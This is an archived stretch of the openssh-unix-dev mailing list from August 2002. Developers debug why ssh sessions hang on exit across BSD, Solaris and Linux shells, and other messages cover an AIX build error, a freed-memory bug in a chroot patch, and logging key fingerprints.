Message-ID: <20020807204754.C12586@google.com>

On Wed, Aug 07, 2002 at 04:54:49PM -0700, Frank Cusack wrote:
> Or it may just be a shell difference.  (bash doesn't send hup, csh does)
> Jim, can you do this with bash on OpenBSD and see if it goes "forever"?

Would also be interesting to see ssh -t 0 "nohup yes & exit" with the same
shell you used earlier.

If that produces a stream of 'y's, then it's that either the shell or
the tty driver is sending HUP to all processes in the session group on
OpenBSD but not on Linux.  If sshd terminates, then it's that the kernel
is closing the pty.

/fc


From fcusack at fcusack.com  Thu Aug  8 14:20:57 2002
From: fcusack at fcusack.com (Frank Cusack)
Date: Wed, 7 Aug 2002 21:20:57 -0700
Subject: so-called-hang-on-exit
In-Reply-To: <Pine.BSO.4.44.0208062132160.7710-100000@etoh.eviladmin.org>; from mouring@etoh.eviladmin.org on Tue, Aug 06, 2002 at 09:34:37PM -0500
References: <3D4F2770.8060605@bl.echidna.id.au> <Pine.BSO.4.44.0208062132160.7710-100000@etoh.eviladmin.org>
Message-ID: <20020807212057.C12614@google.com>

On Tue, Aug 06, 2002 at 09:34:37PM -0500, Ben Lindstrom wrote:
> *WHY* does it happen on some platforms and not others?  You run OpenSSH on
> OpenBSD?  No hang.
> 
> No one has yet to even explain to us why.  If one person could explain why
> without handwaving it would solve the problem because it more than likely
> is a mistake on TTY handling.

McKusick et al say (Design & Implementation of BSD, p. 344):

    If the session leader exits, the controlling terminal is revoked,
    and that invalidates any open file descriptors in the system for
    the terminal.  This revocation ensures that processes holding file
    descriptors for a terminal cannot still access the terminal after
    the terminal is acquired by another user.  The revocation operates
    at the vnode layer.  It is possible for a process to have a read or
    write sleeping for some reason--for example, it was in a background
    process group.  Since such a process would have already resolved the
    file descriptor through the vnode layer, a single read or write by
    the sleeping process could complete after the /revoke/ system call.
    To avoid this security problem, the system checks a tty generation
    number when a process wakes up from sleeping on a terminal, and,
    if the number has changed, restarts the read or write system call.

The bit about having a read or write sleeping b/c of being in a background
process group doesn't seem to apply (if so, shouldn't there be no output?
And the bg process group would get SIGTTOU/SIGTTIN?).

But the bit about invalidating /any/ open file descriptors in the system
for the terminal might hint at where the problem is?

Goodheart & Cox say (The Magic Garden, p. 267):

    if( this process is a session leader ) {
      send SIGHUP to all processes in the group
      and deallocate vnode for controlling terminal
    }

Revoking the controlling terminal doesn't seem to be enough to close
the pty, since [from McKusick] the read or write syscall will restart, but
sending SIGHUP to all processes in "the group" sounds like a killer. :-)
They don't make it clear whether that's all processes in the process
group that the session leader belongs to, or if that's all processes in
the session.  (I don't see any references to the terminology "session
group" in either of the above books and Stevens also stays away from
the term "session group".)  I would bet it's supposed to be all processes
in the session leader's process group but instead BSD sends it to all
processes in the session.  Well, "supposed to be" is a tough statement.

Now, someone who knows more about how this all works can hopefully
piece it together.

/fc



From Nicolas.Williams at ubsw.com  Thu Aug  8 14:27:37 2002
From: Nicolas.Williams at ubsw.com (Nicolas Williams)
Date: Thu, 8 Aug 2002 00:27:37 -0400
Subject: The complete answer (was Re: so-called-hang-on-exit)
Message-ID: <20020808002737.A2256@NICO>

Ok, so I think I have a complete explanation for the difference between
the *BSD behaviour and the Linux/Solaris behaviour. Well, almost
complete :)

Pull out your trusty copies of "The Design and Implementation of the
4.4BSD Operating System" as well as "Unix Internals: The New Frontiers".
Specifically, pages 111-112 and 344 of the former and page 108 of
the latter.

It comes down to this:

 - The 4.4BSD tty and pty drivers send SIGHUP followed by SIGCONT
   (for stopped processes) to all orphaned process groups with a given
   tty/pty association when the session leader exits (TDI44BSDOS states
   that POSIX and 4.4BSD do this) - and any open file descriptors
   referring to the tty/pty in any processes that choose to continue
   running are revoked.

 - Whereas SVR4 doesn't do any of this and relies on the session leader
   to do its part and HUP/CONT its process groups. This part is not too
   clear because Uresh Vahalia mentions this very much in passing on
   page 108 of "Unix Internals."

   It is unclear whether closing a pty master causes the pty slave
   driver to take any action, whether sending singals to any processes
   or revoking any open file descriptors, when the session process is
   alive or dead at the time that the master is closed. This can be
   determined experimentally. Ideally closing the pty master after the
   pty slave's session leader has exited will cause the pty slave driver
   to revoke open fildes referring to it *and* to send HUP/CONT to
   remaining process groups with that pty slave association.

   My tests indicate that closing the master pty, on Solaris, does not
   cause the slave pty open fildeses to be revoked and not signal is
   sent, so orphaned background process groups continue to run and
   clutter up the process table *and*, apparently they continue to
   consume a pty which cannot be reused until said processes exit or
   dissasociate from their pty.

   What about Linux?

My own tests today indicate that the Korn Shell, on Solaris, is smart
enough to send HUP/CONT to all of its process groups before exiting,
whereas the Solaris C-Shell is NOT. This points to a bug, or, rather,
the *lack of a feature* in the Solaris C-Shell. I don't care about the
C-Shell, so I won't file a bug report / RFE with Sun - if you care about
the C-Shell then you should, and check SunSolve as it may be that a
suitable patch already exists for all I know.

I don't know what is the exact Linux behaviour, but I rather suspect
that it follows the SVR4 approach.

Comments elsewhere in this thread indicate that Bash 2.x is configurable
with respect to its behaviour on exit, through the 'huponexit' option. I
advise you all to read the Bash man page - search for 'huponexit'.

Which behaviour is best? To leave it to the shell to HUP/CONT its
process groups before exiting? Or to leave it to the tty/pty driver to
do the same? Each has its drawbacks, for example: the former can lead
to undesirable orphaned process groups cluttering the process table if
a shell fails to implement the SVR4 strategy, whereas the latter makes
it impossible to implement the Bash 'disown' built-in command feature.

And making the driver responsible for sending the signals may imply
heavier structures and/or synchronization in the kernel.

******************************

So, Markus, Ben, et. al., I recommend that you close all bugs related
to this hang-on-exit issue and document the problem as being buggy or
insufficiently featured shells on Linux/Solaris. Including a patch to
close the pty master when the session leader exits, on some platforms,
may be probably a good idea, but it's not absolutely necessary - what
is absolutely necessary is that the shells on Linux/Solaris know to
send HUP/CONT to their process groups before exiting.

Jani, Frank, et. al., make sure that your shell is configured correctly
and/or that you use a shell that correctly implements the SVR4 behaviour
and/or that you get or write patches for any broken shells. Merely
forcing the sshd to close the pty master might not be enough, but it
would be good if you could strace/truss an entire session with /bin/csh
as the session leader and a patched sshd that closes the pty master - I
would like to know what happens to backgrounded process groups in such
a case (see above).

Cheers,

Nico
-- 

Visit our website at http://www.ubswarburg.com

This message contains confidential information and is intended only 
for the individual named.  If you are not the named addressee you 
should not disseminate, distribute or copy this e-mail.  Please 
notify the sender immediately by e-mail if you have received this 
e-mail by mistake and delete this e-mail from your system.

E-mail transmission cannot be guaranteed to be secure or error-free 
as information could be intercepted, corrupted, lost, destroyed, 
arrive late or incomplete, or contain viruses.  The sender therefore 
does not accept liability for any errors or omissions in the contents 
of this message which arise as a result of e-mail transmission.  If 
verification is required please request a hard-copy version.  This 
message is provided for informational purposes and should not be 
construed as a solicitation or offer to buy or sell any securities or 
related financial instruments.



From fcusack at fcusack.com  Thu Aug  8 15:12:51 2002
From: fcusack at fcusack.com (Frank Cusack)
Date: Wed, 7 Aug 2002 22:12:51 -0700
Subject: The complete answer (was Re: so-called-hang-on-exit)
In-Reply-To: <20020808002737.A2256@NICO>; from Nicolas.Williams@ubsw.com on Thu, Aug 08, 2002 at 12:27:37AM -0400
References: <20020808002737.A2256@NICO>
Message-ID: <20020807221250.A12669@google.com>

On Thu, Aug 08, 2002 at 12:27:37AM -0400, Nicolas Williams wrote:
>  - Whereas SVR4 doesn't do any of this and relies on the session leader
>    to do its part and HUP/CONT its process groups. This part is not too
>    clear because Uresh Vahalia mentions this very much in passing on
>    page 108 of "Unix Internals."
> 
>    It is unclear whether closing a pty master causes the pty slave
>    driver to take any action, whether sending singals to any processes
>    or revoking any open file descriptors, when the session process is
>    alive or dead at the time that the master is closed. This can be
>    determined experimentally. Ideally closing the pty master after the
>    pty slave's session leader has exited will cause the pty slave driver
>    to revoke open fildes referring to it *and* to send HUP/CONT to
>    remaining process groups with that pty slave association.
> 
>    My tests indicate that closing the master pty, on Solaris, does not
>    cause the slave pty open fildeses to be revoked and not signal is

But it must, otherwise changes in ownership would give access that
shouldn't be there to the bg process group, No?

>    sent, so orphaned background process groups continue to run and
>    clutter up the process table *and*, apparently they continue to
>    consume a pty which cannot be reused until said processes exit or
>    dissasociate from their pty.
> 
>    What about Linux?

Interesting.  If you look at linux/drivers/char/tty_io.c:disassociate_ctty()
 you can see that SIGHUP and SIGCONT are sent.  disassociate_ctty() is called
from linux/kernel/exit.c if the exiting process is the session leader.
Yet Linux has the problem.

> So, Markus, Ben, et. al., I recommend that you close all bugs related
> to this hang-on-exit issue and document the problem as being buggy or
> insufficiently featured shells on Linux/Solaris. Including a patch to
> close the pty master when the session leader exits, on some platforms,
> may be probably a good idea, but it's not absolutely necessary - what
> is absolutely necessary is that the shells on Linux/Solaris know to
> send HUP/CONT to their process groups before exiting.

Ack!  I would say it is needed.  There are *plenty* of other implemented
workarounds for wierd behavior on xyz given platform.  It's too painful
to have to set your shell vars correctly, etc.  What if you use a shell
that doesn't support that kind of thing?  etc.

The patch does no harm.  There's no reason not to include it.

> Jani, Frank, et. al., make sure that your shell is configured correctly
> and/or that you use a shell that correctly implements the SVR4 behaviour

I've known about huponexit forever.  (RedHat documents this as a workaround.)
This is not an acceptable workaround for me.  Now, this isn't really a
problem b/c I have to maintain a local version of openssh anyway, but
I always prefer to have minimal changes, and other folks want/need this
also!

Thanks for investing time in this, Nico.

/fc


From fcusack at fcusack.com  Thu Aug  8 15:22:06 2002
From: fcusack at fcusack.com (Frank Cusack)
Date: Wed, 7 Aug 2002 22:22:06 -0700
Subject: The complete answer (was Re: so-called-hang-on-exit)
In-Reply-To: <20020807221250.A12669@google.com>; from fcusack@fcusack.com on Wed, Aug 07, 2002 at 10:12:51PM -0700
References: <20020808002737.A2256@NICO> <20020807221250.A12669@google.com>
Message-ID: <20020807222206.C12669@google.com>

On Wed, Aug 07, 2002 at 10:12:51PM -0700, Frank Cusack wrote:
> Interesting.  If you look at linux/drivers/char/tty_io.c:disassociate_ctty()
>  you can see that SIGHUP and SIGCONT are sent.  disassociate_ctty() is called
> from linux/kernel/exit.c if the exiting process is the session leader.
> Yet Linux has the problem.

uhhh from the comment for disassociate_ctty():

 *      (1)  Sends a SIGHUP and SIGCONT to the foreground process group

which jibes with Goodheart & Cox (although they are not 100% clear on this).

Then again, from kernel/exit.c:

/*      
 * Determine if a process group is "orphaned", according to the POSIX
 * definition in 2.2.2.52.  Orphaned process groups are not to be affected
 * by terminal-generated stop signals.  Newly orphaned process groups are
 * to receive a SIGHUP and a SIGCONT.

/fc


From dtucker at zip.com.au  Thu Aug  8 15:32:04 2002
From: dtucker at zip.com.au (Darren Tucker)
Date: Thu, 08 Aug 2002 15:32:04 +1000
Subject: OpenSSH 34p1 for AIX error. Please help
References: <23ED36D4661BD51199E000D0B782508D02F807C0@ddce0051.mckesson.com>
Message-ID: <3D520254.9C8B2EAD@zip.com.au>

"Wiese, Maria" wrote:
> I'm trying to install open-ssh 34p1 on an Aix server, running 4.3.3..
> I compiled openssh 0.9.6d and zlib 1.1.4.  on the server , and also created
> the a bff pancake using the contrib/aix/buildbff.sh script.
> I can't start sshd either installing it as a package or without.

There's a potential vulnerability in openssl <= 0.9.6d. You might like
to upgrade to 0.9.6e.

> When I tried to start sshd I received the following error:
> 0509-036 Cannot load program /.sshd because of the following errors:
> 0509-150 Dependent module /usr/local/lib/libcrypto.a/libcrypto.so) could not
> be loaded.
>  0509-152 Member libcrypto.so is not found in archive

As Gert said earlier, maybe OpenSSL was compiled as a shared library, or
possibly some other compile problem. What configure options did you use
to build openssl and openssh?

> Can't find a libcrypto.so anyware on other aix servers.
> I would like to upgrade all aix servers using the package instead of having
> to compile on each server.

Me too. I have a single package built against static openssl and zlib
libraries that works from AIX 4.2.0 up to 4.3.3. (I don't have 5). The
only gotcha is you need to compile on the oldest platform (including
maintenance levels) that you plan to support.

> Also, does the aix package create an /etc/rc startup script for OpenSSH ?

Approximately yes. It appends to /etc/rc.tcpip if sshd isn't already in
.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG Fingerprint D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
    Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.


From jmknoble at pobox.com  Thu Aug  8 15:34:53 2002
From: jmknoble at pobox.com (Jim Knoble)
Date: Thu, 8 Aug 2002 01:34:53 -0400
Subject: so-called-hang-on-exit
In-Reply-To: <20020807165449.A12330@google.com>; from fcusack@fcusack.com on Wed, Aug 07, 2002 at 04:54:49PM -0700
References: <Pine.BSO.4.44.0208062132160.7710-100000@etoh.eviladmin.org> <Pine.LNX.4.44.0208071038220.3010-100000@goofy-3.cs.Helsinki.FI> <20020807015446.E11563@google.com> <20020807145250.A25367@zax.half.pint-stowp.cx> <20020807165449.A12330@google.com>
Message-ID: <20020808013453.C25367@zax.half.pint-stowp.cx>

Circa 2002-08-07 16:54:49 -0700 dixit Frank Cusack:

: Great, so OpenBSD ** guarantees ** data loss in the pty case.  Ben,
: et al, this should be a no-brainer: put in the patch, making data
: loss *optional* on other OSes.  The patch I posted seems to be the
: simplest complete patch.
: 
: Or it may just be a shell difference.  (bash doesn't send hup, csh
: does) Jim, can you do this with bash on OpenBSD and see if it goes
: "forever"? Oh, I see it *is* a Bourne shell.  Is that some other
: Bourne-like sh or is it actually bash?

Hmm ... good question.  That was my own login, so it was bash-2.05a.
Here's several sets of tests with different shells:

    $ uname -svrm
    OpenBSD 3.1 GENERIC#1 i386
    $ 
    ----------------
    $ ssh binsh at localhost 'echo $SHELL'
    /bin/sh
    $ ssh -t binsh at localhost 'yes & exit'
    $ sleep 5; ps auxwww |fgrep yes |fgrep -v fgrep
    binsh    17842 87.0  0.4    20   272 p7- R     12:43AM    0:10.98 yes 
    $ sudo kill 17842
    $ sudo kill 17842
    kill: 17842: No such process
    $ ssh -t binsh at localhost 'yes & sleep 1; exit'
    y
    y
    y
    [etc., for 1 second]
    $ sleep 5; ps auxwww |fgrep yes |fgrep -v fgrep
    $ ls -li /bin/sh /bin/ksh
    5803 -r-xr-xr-x  3 root  bin  307200 Aug  1 00:28 /bin/ksh
    5803 -r-xr-xr-x  3 root  bin  307200 Aug  1 00:28 /bin/sh
    $ 
    ----------------
    $ ssh ksh at localhost 'echo $SHELL'
    /bin/ksh
    [jmknoble at golem:~]
    $ ssh ksh at localhost 'echo $KSH_VERSION'
    @(#)PD KSH v5.2.14 99/07/13.2
    [jmknoble at golem:~]
    $ ssh -t ksh at localhost 'yes & exit'
    [jmknoble at golem:~]
    $ sleep 5; ps auxwww |fgrep yes |fgrep -v fgrep
    $ ssh -t ksh at localhost 'yes & sleep 1; exit'
    y
    y
    y
    [etc., for 1 second]
    $ sleep 5; ps auxwww |fgrep yes |fgrep -v fgrep
    $ 
    ----------------
    $ ssh csh at localhost 'echo $SHELL'
    /bin/csh
    $ ssh -t csh at localhost 'yes & exit'
    [1] 10493
    $ sleep 5; ps auxwww |fgrep yes |fgrep -v fgrep
    csh      10493 92.6  0.4    20   272 p7- R     12:45AM    0:08.10 yes 
    $ sudo kill 10493
    $ sudo kill 10493
    kill: 10493: No such process
    $ ssh -t csh at localhost 'yes & sleep 1; exit'
    y
    y
    y
    [etc., for 1 second, presumably with a job ID that scrolled offterminal]
    $ sleep 5; ps auxwww |fgrep yes |fgrep -v fgrep
    csh      13662 89.3  0.4    80   272 p7- R     12:46AM    0:17.41 yes 
    $ sudo kill 13662
    $ sudo kill 13662
    kill: 13662: No such process
    $ 
    ----------------
    $ ssh -t bash at localhost 'echo $SHELL'
    /usr/local/bin/bash
    $ ssh -t bash at localhost 'echo $BASH_VERSION'
    2.05a.0(2)-release
    $ ssh -t bash at localhost 'shopt huponexit'
    huponexit       off
    $ ssh -t bash at localhost 'yes & exit'
    $ sleep 5; ps auxwww |fgrep yes |fgrep -v fgrep
    $ ssh -t bash at localhost 'yes & sleep 1; exit'
    $ ssh -t bash at localhost 'yes & sleep 1; exit'
    y
    y
    y
    [etc., for 1 second]
    $ sleep 5; ps auxwww |fgrep yes |fgrep -v fgrep
    $ 

So:

    /bin/sh is really pdksh @(#)PD KSH v5.2.14 99/07/13.2.
    /bin/ksh is also pdksh (but behaves slightly differently).
    /bin/csh looks like it's the regular BSD csh.
    /usr/local/bin/bash is bash-2.05a.

Bash is particularly interesting, because it differs from the following
one on my Linux system:

    $ echo $BASH_VERSION
    2.03.8(1)-release

in one significant way.  Both versions of bash agree on what startup
files they read under which circumstances:

  INVOCATION
       [...]
       When bash is invoked as an interactive login shell, or  as
                                 ^^^^^^^^^^^^^^^^^^^^^^^^^
       a  non-interactive shell with the --login option, it first
         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
       reads and executes commands from the file /etc/profile, if
       that  file  exists.  After reading that file, it looks for
       ~/.bash_profile, ~/.bash_login, and  ~/.profile,  in  that
       ^^^^^^^^^^^^^^^^
       order,  and reads and executes commands from the first one
       that exists and is readable.  The --noprofile  option  may
       be  used  when the shell is started to inhibit this behav?
       ior.

       [...]

       When  an  interactive  shell  that is not a login shell is
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
       started, bash reads and executes commands from  ~/.bashrc,
                                                      ^^^^^^^^^^^
       if  that  file exists.  This may be inhibited by using the
       --norc option.  The --rcfile file option will  force  bash
       to   read  and  execute  commands  from  file  instead  of
       ~/.bashrc.

So, since 'ssh -t bash at localhost <command>', doesn't execute a login
shell, i need to use ~/.bashrc to set the 'huponexit' option.

However, the definition of interactive differs between the two
versions.

For bash-2.03 (on Red Hat Linux 6.2):

       An interactive shell is one whose standard input and  out?
       put  are  both  connected  to  terminals (as determined by
       isatty(3)), or one started with the -i option. [...]

For bash-2.05a (on OpenBSD-3.1):

       An  interactive  shell  is  one started without non-option
       arguments and without the -c option whose  standard  input
       and  output are both connected to terminals (as determined
       by isatty(3)), or one started with the -i option. [...]

Since 'ssh -t bash at localhost <command>' uses the '-c' option to run
<command>, i'm unable to set the 'huponexit' option under bash-2.05a,
unless i do so inside <command>.

Nevertheless, bash-2.05a does the "right thing" on my OpenBSD system.

Fun.

-- 
jim knoble  |  jmknoble at pobox.com  |  http://www.pobox.com/~jmknoble/
(GnuPG fingerprint: 31C4:8AAC:F24E:A70C:4000::BBF4:289F:EAA8:1381:1491)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 262 bytes
Desc: not available
Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20020808/064b0ee0/attachment.bin 

From jmknoble at pobox.com  Thu Aug  8 15:37:50 2002
From: jmknoble at pobox.com (Jim Knoble)
Date: Thu, 8 Aug 2002 01:37:50 -0400
Subject: so-called-hang-on-exit
In-Reply-To: <20020807204043.B12586@google.com>; from fcusack@fcusack.com on Wed, Aug 07, 2002 at 08:40:43PM -0700
References: <BF5F3FE870FB5C4B89BC1A1FBC76778C0A1086@NSTMC004PEX1.ubsgs.ubsgroup.net> <20020807210610.B25367@zax.half.pint-stowp.cx> <20020807204043.B12586@google.com>
Message-ID: <20020808013749.D25367@zax.half.pint-stowp.cx>

Circa 2002-08-07 20:40:43 -0700 dixit Frank Cusack:

: On Wed, Aug 07, 2002 at 09:06:11PM -0400, Jim Knoble wrote:
: > Shouldn't one just send HUP to the session leader?  Most shells pass
: > the HUP along to their children anyway.
: 
: The session leader has already exited.

I, sir, am an idiot.

-- 
jim knoble  |  jmknoble at pobox.com  |  http://www.pobox.com/~jmknoble/
(GnuPG fingerprint: 31C4:8AAC:F24E:A70C:4000::BBF4:289F:EAA8:1381:1491)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 262 bytes
Desc: not available
Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20020808/88acc09a/attachment.bin 

From postmaster at shanks6.bol.com.br  Fri Aug  9 00:34:12 2002
From: postmaster at shanks6.bol.com.br (Mail Delivery Service)
Date: Thu, 8 Aug 2002 11:34:12 -0300
Subject: Delivery Status Notification
Message-ID: <3D518677000F82B9@shanks6.bol.com.br>

 - These recipients of your message have been processed by the mail server:

katayama666 at bol.com.br; Action: Failed; Status: 5.7.0 (other or undefined security status)

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: text/rfc822-headers
Size: 796 bytes
Desc: not available
Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20020808/694d98b3/attachment.bin 

From Nicolas.Williams at ubsw.com  Fri Aug  9 00:54:04 2002
From: Nicolas.Williams at ubsw.com (Nicolas Williams)
Date: Thu, 8 Aug 2002 10:54:04 -0400
Subject: The complete answer (was Re: so-called-hang-on-exit)
In-Reply-To: <20020807221250.A12669@google.com>; from fcusack@fcusack.com on Wed, Aug 07, 2002 at 10:12:51PM -0700
References: <20020808002737.A2256@NICO> <20020807221250.A12669@google.com>
Message-ID: <20020808105403.A452@W0594878>

On Wed, Aug 07, 2002 at 10:12:51PM -0700, Frank Cusack wrote:
> On Thu, Aug 08, 2002 at 12:27:37AM -0400, Nicolas Williams wrote:
[...]
> >    My tests indicate that closing the master pty, on Solaris, does not
> >    cause the slave pty open fildeses to be revoked and not signal is
> 
> But it must, otherwise changes in ownership would give access that
> shouldn't be there to the bg process group, No?

No, it doesn't revoke the slave pty open file descriptors. What does
happen is that the orphaned process groups' processes are dissassociated
from the pty slave, but the open file descriptors are not revoked, so
that those processes continue to hold a pty slave whose master is now
*not* available for reuse.

Try it. Use 'sleep' instead of 'yes' (in most cases the bg processes
don't interact with the tty), and use a /bin/csh (remember, KSH/Bash
don't have this problem). I did, so that after typing ~. there was no
sshd holding the pty master; lsof <pty slave> showed the bg sleep
processes still having references to the pty, but ps -ef showed those
processes as having no associated terminal (there was a '?' in the
terminal column) and, more importantly, the next ssh did not get the
same pty as the previous one when the previous one left bg procs with
open fildes references to the pty slave.

> >    sent, so orphaned background process groups continue to run and
> >    clutter up the process table *and*, apparently they continue to
> >    consume a pty which cannot be reused until said processes exit or
> >    dissasociate from their pty.
> > 
> >    What about Linux?
> 
> Interesting.  If you look at linux/drivers/char/tty_io.c:disassociate_ctty()
>  you can see that SIGHUP and SIGCONT are sent.  disassociate_ctty() is called
> from linux/kernel/exit.c if the exiting process is the session leader.
> Yet Linux has the problem.

Which processes get HUP/CONT? Can you trace some /bin/csh and bash
sessions (with huponexit on)?

> > So, Markus, Ben, et. al., I recommend that you close all bugs related
> > to this hang-on-exit issue and document the problem as being buggy or
> > insufficiently featured shells on Linux/Solaris. Including a patch to
> > close the pty master when the session leader exits, on some platforms,
> > may be probably a good idea, but it's not absolutely necessary - what
> > is absolutely necessary is that the shells on Linux/Solaris know to
> > send HUP/CONT to their process groups before exiting.
> 
> Ack!  I would say it is needed.  There are *plenty* of other implemented
> workarounds for wierd behavior on xyz given platform.  It's too painful
> to have to set your shell vars correctly, etc.  What if you use a shell
> that doesn't support that kind of thing?  etc.

The patch merely prevents the hanging ssh/sshd. It does NOT prevent
the accumulation of useless bg procs that burn up a pty.

I seem to remember one poster complaining bitterly about those bg procs
hanging around. Your patch won't help him - neither will Jani's, or
Markus'.

> The patch does no harm.  There's no reason not to include it.

This is true, but the underlying problem remains.

The correct patch would actually do a vhangup() on the pty master,
except, except, that that would be incorrect because vhangup() is a
hangover from the old 4.3BSD days (before BSD had sessions), and so the
semantics implemented by Solaris (as per the man page), which are the
4.3BSD semantics, are incorrect (see the man page).

So the truly correct fix would be to implement an updated vhangup() that
implements the session-sbased semantics - but this is very difficult to
do in user-level code! Then again, there is lsof, so parse the output of
'lsof <pty slave>' and kill -HUP/CONT those processes. And then call the
real vhangup() (because Solaris has no revoke(2) syscall, but vhangup()
gets that part right, see?).

But the really, truly, actually correct fix is to get your shells to do
The Right Thing (tm) on SVR4 derivatives (and Linux?).

> > Jani, Frank, et. al., make sure that your shell is configured correctly
> > and/or that you use a shell that correctly implements the SVR4 behaviour
> 
> I've known about huponexit forever.  (RedHat documents this as a workaround.)
> This is not an acceptable workaround for me.  Now, this isn't really a

Why? Do your users use that evil C Shell? :)

BTW, you can see why the C Shell is the problem here: no vendor would
re-implement it when they can just use the BSD code with the absolute
minimum changes necessary, but, since this difference in pty/tty
driver / shell behaviour between 4.4BSD + derivatives and SVR4 +
derivatives is sooo underdocumented, it's easy to see that vendors of
SVR4 derivatives might not update /bin/csh to HUP/CONT its process
groups before exiting. This is a rather obscure problem that hopefully
will no longer be obscure.

But, we all know that the C Shell is evil and so avoid it, right? right?

http://www.google.com/search?hl=en&lr=&ie=ISO-8859-1&q=Csh+programming+considered+harmful

Once again, this explains why I've not cared too much about this problem
before, as I use KSH and Bash and so never experienced it.

> problem b/c I have to maintain a local version of openssh anyway, but
> I always prefer to have minimal changes, and other folks want/need this
> also!
> 
> Thanks for investing time in this, Nico.

Oh, it was fun. :)

Besides, now I know how to answer users here who do run into this
hang-on-exit problem ("switch to a real shell," perhaps :) :)


> /fc


Cheers,

Nico
-- 
-DISCLAIMER: an automatically appended disclaimer may follow. By posting-
-to a public e-mail mailing list I hereby grant permission to distribute-
-and copy this message.-

Visit our website at http://www.ubswarburg.com

This message contains confidential information and is intended only 
for the individual named.  If you are not the named addressee you 
should not disseminate, distribute or copy this e-mail.  Please 
notify the sender immediately by e-mail if you have received this 
e-mail by mistake and delete this e-mail from your system.

E-mail transmission cannot be guaranteed to be secure or error-free 
as information could be intercepted, corrupted, lost, destroyed, 
arrive late or incomplete, or contain viruses.  The sender therefore 
does not accept liability for any errors or omissions in the contents 
of this message which arise as a result of e-mail transmission.  If 
verification is required please request a hard-copy version.  This 
message is provided for informational purposes and should not be 
construed as a solicitation or offer to buy or sell any securities or 
related financial instruments.



From kent.wick at mhmr.state.tx.us  Fri Aug  9 01:47:43 2002
From: kent.wick at mhmr.state.tx.us (Wick, Kent)
Date: Thu, 8 Aug 2002 10:47:43 -0500 
Subject: Probable bug in Chroot patch (v3.4p1)
Message-ID: <BE5D6C13A6AAD61194FF00A0C98F150A35BFF8@mhmrcoes1.co.mhmr.state.tx.us>

While I was trying to get the patch to work on one of my AIX hosts (4.3.3),
I discovered what is probably a bug in the section of code in session.c.

    for (i = 0; i < options.num_chroot_users; i++) {
	if (match_user(pw->pw_name, hostname, ipaddr, 
	    options.chroot_users[i])) {
                dir = chroot_dir(pw);
/*  'dir' now points to memory block holding pathname */
                new_home = dir;
/* contents of 'dir' pointer copied to 'new_home' pointer */
                xfree(dir);
/* memory block with pathname freed */
	    if(chdir(new_home) == -1)
/* now trying to reference said freed memory block */
/*   this blows up big time on AIX */
/* I can get it to go further if I comment out the xfree
      statement BUT that leaves a memory leak.  
   Since I don't know openssh code well enough, I
      figured I would toss this back to the list and see
      if somebody had a suggestion */
		fatal("chdir to %s failed: %s",
		new_home, strerror(errno));
/* continue to try to use freed memory block pointed to by 'new_home' */
	    if(chroot(new_home) == -1) {
/* continue to try to use freed memory block pointed to by 'new_home' */
		fatal("chroot to %s failed: %s", 
		new_home, strerror(errno));
/* continue to try to use freed memory block pointed to by 'new_home' */
	    }
	    else
	    pw->pw_dir = new_root;
	}
    }
====================================================
Kent Wick,  TxMHMR,  Unix/Network Systems Programmer
Email:  kent.wick at mhmr.state.tx.us
Phone:  (512) 206-5931   Fax:  (512) 206-4838
Snail mail:  PO Box 12668, Austin, Tx 78711-2668



From b.courtin at t-online.net  Fri Aug  9 05:15:45 2002
From: b.courtin at t-online.net (Courtin Bert)
Date: Thu, 8 Aug 2002 21:15:45 +0200
Subject: Logging of key fingerprint / comment with v3.4p1
Message-ID: <60F1F87A64834D45A1EBAE9618305FB80120BEF8@qeo00200>

Hi,

I'm wondering whether it is possible to log the key fingerprint (or, the comment of the key) that was used for authentication) with the actual available openssh v3.4p1 on solaris? 

(with Solaris 8 / UsePrivilegeSeparation yes, if this might be relevant, it seems not)

-Is it possible at all? How?
-Is there a special sshd configuration option neccessary to use?
-Does is only work with a certain loglevel?
-If it is not possible, when might it be available?
-If not: Is there a patch available for openssh v3.4p1 which enables this? Where?


Snapshot of my /var/log/authlog
------
Aug  8 16:26:29 sshd[190]: [ID 800047 auth.info] Server listening on 172.30.40.104 port 22.
Aug  8 20:24:57 sshd[24405]: [ID 800047 auth.info] Accepted rsa for root from 172.30.10.235 port 2709
Aug  8 20:25:23 sshd[190]: [ID 800047 auth.info] Received SIGHUP; restarting.
------


From Markus.Friedl at informatik.uni-erlangen.de  Fri Aug  9 05:28:50 2002
From: Markus.Friedl at informatik.uni-erlangen.de (Markus Friedl)
Date: Thu, 8 Aug 2002 21:28:50 +0200
Subject: Logging of key fingerprint / comment with v3.4p1
In-Reply-To: <60F1F87A64834D45A1EBAE9618305FB80120BEF8@qeo00200>
References: <60F1F87A64834D45A1EBAE9618305FB80120BEF8@qeo00200>
Message-ID: <20020808192850.GB28007@faui02>

will be logged in verbose mode
	LogLevel VERBOSE
in sshd_config


On Thu, Aug 08, 2002 at 09:15:45PM +0200, Courtin Bert wrote:
> Hi,
> 
> I'm wondering whether it is possible to log the key fingerprint (or, the comment of the key) that was used for authentication) with the actual available openssh v3.4p1 on solaris? 
> 
> (with Solaris 8 / UsePrivilegeSeparation yes, if this might be relevant, it seems not)
> 
> -Is it possible at all? How?
> -Is there a special sshd configuration option neccessary to use?
> -Does is only work with a certain loglevel?
> -If it is not possible, when might it be available?
> -If not: Is there a patch available for openssh v3.4p1 which enables this? Where?
> 
> 
> Snapshot of my /var/log/authlog
> ------
> Aug  8 16:26:29 sshd[190]: [ID 800047 auth.info] Server listening on 172.30.40.104 port 22.
> Aug  8 20:24:57 sshd[24405]: [ID 800047 auth.info] Accepted rsa for root from 172.30.10.235 port 2709
> Aug  8 20:25:23 sshd[190]: [ID 800047 auth.info] Received SIGHUP; restarting.
> ------
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev


